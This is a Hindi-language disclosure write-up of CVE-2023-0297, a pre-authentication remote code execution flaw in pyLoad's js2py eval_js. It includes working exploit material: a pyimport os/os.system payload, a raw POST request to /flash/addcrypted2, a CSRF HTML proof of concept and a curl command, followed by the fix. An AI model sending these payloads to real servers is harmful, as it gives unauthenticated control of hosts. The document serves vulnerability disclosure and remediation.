
CVE-2023-0297: pyLoad में Pre-auth RCE खोजने की कहानी
pyLoad में प्री-ऑथ RCE खोजने की कहानी
pyLoad के 0.5.0b3.dev31 से पहले के संस्करणों में कोड इंजेक्शन भेद्यता js2py की कार्यक्षमता का दुरुपयोग करके प्री-ऑथ RCE की ओर ले जाती है।
आप रिपोर्ट यहाँ और एक्सप्लॉइट कोड यहाँ पा सकते हैं।
pyLoad एक OSS डाउनलोड मैनेजर है जो Python में लिखा गया है और वेब इंटरफ़ेस के माध्यम से प्रबंधित किया जा सकता है। 9 जनवरी 2023 तक इसके GitHub रिपॉजिटरी में लगभग 2.8k स्टार्स हैं।
जब मैं pyLoad के स्रोत कोड का ऑडिट कर रहा था, तो निम्नलिखित कोड ने मेरी नज़र खींची:
jk = eval_js(f"{jk} f()")
eval_js फ़ंक्शन की परिभाषा इस प्रकार है:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()") js2py की कार्यक्षमता का उपयोग करता है जो JavaScript कोड f"{jk} f()" चलाता है जहाँ jk पैरामीटर एक अनुरोध पैरामीटर द्वारा पारित किया जाता है:
jk = flask.request.form["jk"]
इसलिए आप समाप्त बिंदु पर अनुरोध करके मनमाना JavaScript कोड चला सकते हैं।
हालाँकि, आप इसका दुरुपयोग कैसे कर सकते हैं? js2py.eval_js() संदर्भ में न तो XMLHttpRequest, fetch, और न ही require (node.js की तरह) परिभाषित हैं, इसलिए SSRF या स्थानीय फ़ाइल पढ़ना संभव नहीं है।
कुछ समय बिताने के बाद, मुझे एक शानदार js2py कार्यक्षमता मिली:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
इस कार्यक्षमता का उपयोग करके, आप js2py.eval_js() संदर्भ में Python लाइब्रेरी का उपयोग कर सकते हैं! आश्चर्यजनक रूप से pyimport डिफ़ॉल्ट रूप से सक्षम है। :o
मैंने pyimport का उपयोग करके OS कमांड चलाने वाला सरल कोड आज़माया:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
जैसा कि उम्मीद थी, touch /tmp/pwnd निष्पादित किया गया!
निम्नलिखित अनुरोध भेजने पर, लक्ष्य होस्ट पर भी यही बात होगी:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
jk पैरामीटर में ;f=function%20f2(){}; भाग आवश्यक है क्योंकि यह समाप्त बिंदु eval_js(f"{jk} f()") चलाता है। यदि मौजूद नहीं है, तो name 'f' is not defined त्रुटि के कारण इंजेक्ट किया गया कोड निष्पादित नहीं होगा।
ध्यान दें कि अनुरोध में कुकी और CSRF टोकन मौजूद नहीं हैं। इसका मतलब है:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
बस pyimport कार्यक्षमता को अक्षम करें।
import js2py
+js2py.disable_pyimport()
त्वरित प्रतिक्रिया के लिए huntr.dev टीम और pyLoad अनुरक्षक को धन्यवाद!